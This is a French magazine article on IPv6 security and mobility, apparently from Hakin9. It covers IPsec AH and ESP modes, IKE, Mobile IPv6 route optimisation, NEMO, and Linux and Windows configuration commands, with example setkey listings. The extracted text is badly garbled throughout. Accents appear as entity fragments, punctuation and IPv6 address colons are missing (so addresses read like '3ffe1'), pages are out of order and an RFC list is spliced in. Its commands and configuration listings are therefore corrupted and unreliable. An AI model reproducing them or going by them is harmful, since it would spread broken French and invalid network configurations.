RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 39: hakin9_05_2010_FR

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

